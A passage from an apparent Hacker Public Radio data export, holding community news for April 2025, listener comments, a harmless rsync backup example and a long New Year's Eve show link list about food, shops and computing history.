                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            4347Tue2025-04-01\"Of my country!\" Brazil - in a Southern city viewingAntoine
                                                            4348Wed2025-04-02Resizing the root partition on a PCMrX
                                                            4349Thu2025-04-03xbindkeys send keys for linux!operat0r
                                                            4350Fri2025-04-04GIMP: More Photo FixesAhuka
                                                            4351Mon2025-04-07HPR Community News for March 2025HPR Volunteers
                                                            4352Tue2025-04-08Why grandma, what large language models you have.Some Guy On The Internet
                                                            4353Wed2025-04-09diff and patchKlaatu
                                                            4354Thu2025-04-1024-25 New Years Eve show episode 5Honkeymagoo
                                                            4355Fri2025-04-11Record player audio - Streaming with DarkiceArcher72
                                                            4356Mon2025-04-14Mirror Mirror On The WallLee
                                                            4357Tue2025-04-15Short introduction by murph.murph
                                                            4358Wed2025-04-16My linux journeyJerm
                                                            4359Thu2025-04-17Fosdem 2025 - My Personal ExperiencePaulj
                                                            4360Fri2025-04-18Isaac Asimov: The Robot NovelsAhuka
                                                            4361Mon2025-04-21On my own timeSwift110
                                                            4362Tue2025-04-22Elsbeth's First EpisodeElsbeth
                                                            4363Wed2025-04-23My First Episode for HPR ko3moc
                                                            4364Thu2025-04-2424-25 New Years Eve show 6Honkeymagoo
                                                            4365Fri2025-04-25Mint to Rocket Money and Scammers operat0r
                                                            4366Mon2025-04-28My audio setup and editingAntoine
                                                            4367Tue2025-04-29My first episode; 001 Introductionoxo
                                                            4368Wed2025-04-30Lessons learned moderating technical discussion panelsTrixter
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 25 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 8 comments on\n6 previous shows:

                                                            \n
                                                              \n
                                                            • hpr4325\n(2025-02-28) \"Two Software I use- Futo Keyboard and Inoreader\"\nby Antoine.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nArcher72 on 2025-04-12:\n\"Re: My setup and the Community Show\"

                                                              \n
                                                            • hpr4330\n(2025-03-07) \"GIMP: Fixing Photos\"\nby Ahuka.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 6:\nKen Fallon on 2025-04-04:\n\"Bug Report\"

                                                              \n
                                                            • hpr4334\n(2025-03-13) \"24-25 New Years Eve show episode 3\"\nby Honkeymagoo.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nDave Morriss on 2025-04-01:\n\"Nyckelharpa\"
                                                              • \n
                                                              • \nComment 2:\nKevin O'Brien on 2025-04-02:\n\"Cool!\"

                                                              \n
                                                            • hpr4339\n(2025-03-20) \"Review of the YR01 smart lock\"\nby Rho`n.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nWindigo on 2025-04-10:\n\"Similar Frustrations\"
                                                              • \n
                                                              • \nComment 4:\nRho`n on 2025-04-11:\n\"The problem with passcodes\"

                                                              \n
                                                            • hpr4341\n(2025-03-24) \"Transferring Large Data Sets\"\nby hairylarry.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\npaulj on 2025-04-04:\n\"Thanks for this!\"

                                                              \n
                                                            • hpr4346\n(2025-03-31) \"A brief review of the Pinetab 2\"\nby Swift110.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nKevin O'Brien on 2025-04-01:\n\"Zareason\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 17 comments on 7 of this month's shows:

                                                            \n
                                                            • hpr4347\n(2025-04-01) \"\"Of my country!\" Brazil - in a Southern city viewing\"\nby Antoine.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nAndrew on 2025-04-01:\n\"Thanks, and transition sounds...\"
                                                              • Comment 2:\nAntoine on 2025-04-05:\n\"Yeah! Thanks!\"
                                                              • Comment 3:\nSome Guy on the Internet on 2025-04-19:\n\"Scope and info.\"
                                                              • Comment 4:\nAntoine on 2025-04-20:\n\"Thanks\"

                                                              \n
                                                            • hpr4348\n(2025-04-02) \"Resizing the root partition on a PC\"\nby MrX.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevie on 2025-04-14:\n\"A close scrape\"
                                                              • Comment 2:\nSome Guy on the Internet on 2025-04-19:\n\"Lesson 4 made me laugh out loud.\"

                                                              \n
                                                            • hpr4349\n(2025-04-03) \"xbindkeys send keys for linux!\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSome Guy on the Internet. on 2025-04-19:\n\"Very cool.\"

                                                              \n
                                                            • hpr4358\n(2025-04-16) \"My linux journey\"\nby Jerm.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nArcher72 on 2025-04-13:\n\"First episode\"
                                                              • Comment 2:\npaulj on 2025-04-21:\n\"Welcome to HPR\"

                                                              \n
                                                            • hpr4361\n(2025-04-21) \"On my own time\"\nby Swift110.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\npaulj on 2025-04-26:\n\"I get it! \"

                                                              \n
                                                            • hpr4362\n(2025-04-22) \"Elsbeth's First Episode\"\nby Elsbeth.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nArcher72 on 2025-04-21:\n\"Welcome and Cybersecurity\"
                                                              • Comment 2:\nTrey on 2025-04-22:\n\"Welcome!\"
                                                              • Comment 3:\npaulj on 2025-04-26:\n\"Welcome to HPR\"
                                                              • Comment 4:\nFXB on 2025-04-26:\n\"Welcome\"
                                                              • Comment 5:\nKevin O'Brien on 2025-04-26:\n\"I loved the show\"

                                                              \n
                                                            • hpr4363\n(2025-04-23) \"My First Episode for HPR \"\nby ko3moc.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nArcher72 on 2025-04-23:\n\"First show: Welcome\"
                                                              • Comment 2:\nArcher72 on 2025-04-28:\n\"Ham Radio\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mailing List\nwhich is open to all HPR listeners and contributors. The discussions are open\nand available on the HPR server under Mailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://lists.hackerpublicradio.com/pipermail/hpr/2025-April/thread.html\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":4372,"date":"2025-05-06","title":"The power of GNU Readline - part 4","duration":686,"summary":"Sgoti talks about Vi settings in GNU Readline","notes":"

                                                            \n \n Prerequisites are:

                                                            \n

                                                            \n \n Novice level.

                                                            \n
                                                              \n
                                                            • Backup(s) of \n ALL your data.
                                                            • \n
                                                            • Confirm backup data works as desired.
                                                            • \n
                                                            \n

                                                            \n \n Intermediate/Experienced level.

                                                            \n
                                                              \n
                                                            • Understanding of *unix operating system.
                                                            • \n
                                                            • Terminal use \n (without the need to immediately restore from backups)\n .
                                                            • \n
                                                            \n

                                                            \n \n Expert Level.

                                                            \n
                                                              \n
                                                            • How to exit vim.
                                                            • \n
                                                            \n

                                                            Resources

                                                            \n

                                                            \n ","hostid":391,"series":102,"explicit":0,"license":"CC-BY-SA","tags":"GNU Readline, Vi mode","version":0,"downloads":0,"valid":1}, {"id":4373,"date":"2025-05-07","title":"Rsync with stdin as source","duration":1213,"summary":"Use find pipe it's the results into rsync to make a copy.","notes":"\n

                                                            \nIn today's show, oxo show us how you can use the output of the find command with -print0 option to rsync files to another location.\n

                                                            \n
                                                            \n\nfind . -type f -mmin -230 -print0 | rsync -aAXv --info=progress2,stats --progress --from0 --files-from - . dst\n\n
                                                            \n\n\n\n","hostid":448,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"bash,commandline,find,rsync,pipe,stdout,stdin,backup,copy","version":0,"downloads":0,"valid":1}, {"id":4374,"date":"2025-05-08","title":"24-25 New Years Eve show 7","duration":8795,"summary":"The HPR community comes together to say happy new year and chat","notes":"\n

                                                            \n-----------------

                                                            \n

                                                            \nNYE 2025 7

                                                            \n

                                                            \n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMordancy Travel Blog\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://mordancy.blogspot.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nToast & Cheese with Anchovy\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttp://www.confessionsofachocoholic.com/recipes/cheesy-anchovy-toast\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nRosemary Potatoes\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.foodnetwork.com/recipes/ina-garten/rosemary-roasted-potatoes-recipe-1943124\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nLasagna\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.spendwithpennies.com/easy-homemade-lasagna/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMango\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.mango.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nThai Chili Peppers\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.chilipeppermadness.com/chili-pepper-types/medium-hot-chili-peppers/thai-chili-peppers/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nFish Sauce\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://hot-thai-kitchen.com/fish-sauce-101/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMortar & Pestel\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Mortar_and_pestle\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nSriracha\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.huyfong.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMexican Chili Peppers\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.chilipeppermadness.com/chili-pepper-types/mexican-peppers/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nNew Orleans\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.neworleans.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nGeneral Tso Chicken\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://natashaskitchen.com/general-tsos-chicken/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMelinda's Green Hot Sauce\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://melindas.com/products/melinda-s-green-sauce\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMelinda's Black Truffle Hot Sauce\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://melindas.com/products/melinda-s-black-truffle-hot-sauce?_pos=1&_sid=5935dbdad&_ss=r\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nA-1 Sauce\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.kraftheinz.com/a1\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMelinda's Fire Roasted Jalapeno\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://melindas.com/products/melinda-s-fire-roasted-garlic-habanero-pepper-sauce-condiment\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nGochujang\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.hungryhuy.com/gochujang-sauce/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nDollar General\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.dollargeneral.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nDragon Fruit\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.healthline.com/nutrition/dragon-fruit\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nStar Fruit\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.healthline.com/nutrition/star-fruit-101\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nWest Virginia\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.wv.gov/Pages/default.aspx\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nCatskill Mountains\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://visitcatskills.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nStop And Shop Grocery \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://stopandshop.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nHannaford Food Store\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.hannaford.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nShaws Grocery\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.shaws.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMarket Basket\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.shopmarketbasket.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nArthurs Market \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://arthursmarketrochester.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nTrader Joes\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://locations.traderjoes.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nWhole Foods\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.wholefoodsmarket.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nItalian Nougat\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.allrecipes.com/recipe/246463/torrone-italian-nut-and-nougat-confection/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nTaffy\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.allrecipes.com/recipe/67636/grandmas-taffy/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMarshmellow\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://candyusa.com/marshmallows/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nTorrone (Nougat)\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://torronecandy.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nBoston\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.meetboston.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nSouth Shore Boston\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.lonelyplanet.com/usa/new-england/south-shore/attractions\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nSAMBA\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.samba.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nEPSON V30 Flatbed Scanner\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://epson.com/Support/Scanners/Perfection-Series/Epson-Perfection-V30/s/SPT_B11B193141\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nFileZilla\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://filezilla-project.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nFTP SSL \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.jscape.com/blog/what-is-an-ssl-file-transfer\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nBoston Linux User Group\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://blu.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nTech N Coffee\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://techandcoffee.info/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMastadon\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://joinmastodon.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nThe Linux Lugcast\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://linuxlugcast.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nGoogle+\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Google%2B\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nGoogle Groups\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://groups.google.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nTwitter (Now X)\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://x.com/home\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nBlueSky\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://bsky.app/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMatrix\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://matrix.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nIRC\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://web.libera.chat/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nTails OS\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://tails.net/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nCertified NRA Pistol Instructor\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://firearmtraining.nra.org/become-an-instructor/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nPanera\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.panerabread.com/en-us/home.html\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\n5G\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.qualcomm.com/5g/what-is-5g\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nDSL\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.spiceworks.com/tech/networking/articles/digital-subscriber-line/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nSomething Wicked This Way Comes (Movie)\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.rottentomatoes.com/m/something_wicked_this_way_comes\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nSpanish Moss\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://plants.usda.gov/documentlibrary/plantguide/pdf/cs_tius.pdf\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMoto G 5 2024 Model\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.gsmarena.com/motorola_moto_g5-8454.php\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nZOOM\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.zoom.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nJSON\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.json.org/json-en.html\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nTSV\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Tab-separated_values\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nSQL\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.w3schools.com/sql/sql_intro.asp\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nHTML\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.w3schools.com/html/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nPHP Scripting\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.php.net/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nXML\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.w3schools.com/xml/xml_whatis.asp\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nGhost Pepper Spicy Chicken Black RAMAN\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://munchaddict.com/products/daebak-ghost-pepper-spicy-chicken-ramen-malaysia\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nOne Chip Challenge\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.npr.org/2024/07/12/nx-s1-5037658/lawsuit-spicy-chip-social-media\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nCarolina Reaper Pepper\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://puckerbuttpeppercompany.com/collections/carolina-reaper-worlds-hottest-pepper\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nTrinidad Scorpion Pepper\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://renaissancegardenguy.com/how-hot-are-trinidad-scorpion-peppers/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nF-Troop\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://tvtropes.org/pmwiki/pmwiki.php/Series/FTroop\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nTibetan Prayer Beads\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://tnp.org/how-to-use-and-choose-a-tibetan-mala/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nAl Gore\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://algore.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nHarvard\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.harvard.edu/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nVoyage Space Craft\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://science.nasa.gov/mission/voyager/mission-overview/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nPaper Computer Tape \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.computerhistory.org/revolution/memory-storage/8/326\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nPDP-10 Emulator\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://retrocomputingforum.com/t/the-pidp-10-is-finally-done-and-to-celebrate-i-put-up-a-web-site-covering-the-family-pidp-1-8-10-and-11/3981\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nHoneywell 316\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikiversity.org/wiki/Honeywell_316_(computer)\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nBitNet\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://bit.net/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nDECnet\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://gunkies.org/wiki/DECnet\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nPDP 11\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://gunkies.org/wiki/PDP-11\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nTCP/IP\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.geeksforgeeks.org/tcp-ip-model/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nVelcro Wallet\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.allthewallets.com/the-best-velcro-wallets/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nKnob and Tube Wiring\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.nachi.org/knob-and-tube.htm\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMIT Radar Program\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.ll.mit.edu/outreach/radar-introduction-radar-systems-online-course\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nGrim Reaper\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.britannica.com/story/where-does-the-concept-of-a-grim-reaper-come-from\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nFrench Roast Coffee\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://sfbaycoffee.com/blogs/articles/french-roast-coffee-a-complete-overview\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nStatic Hot Water Radiator\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://usa.hudsonreed.com/info/blog/hot-water-radiators-explained-a-guide-to-the-best-radiators-for-your-home/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nHis Eyes Coffee\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.hiseyeshonduras.com/coffee.html\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nDouble Dutch Jump Rope\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Double_Dutch_(jump_rope)\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nJellyfin\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://jellyfin.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nPolar Bear Jump\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Polar_bear_plunge\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nSausage Rolls\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.thekitchn.com/sausage-roll-recipe-23254758\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nStarbucks Mug\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.starbucks.com/menu/merchandise/mugs\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nGreat Dane\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.akc.org/dog-breeds/great-dane/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nKentucky\n

                                                            \n

                                                            \n
                                                            \n
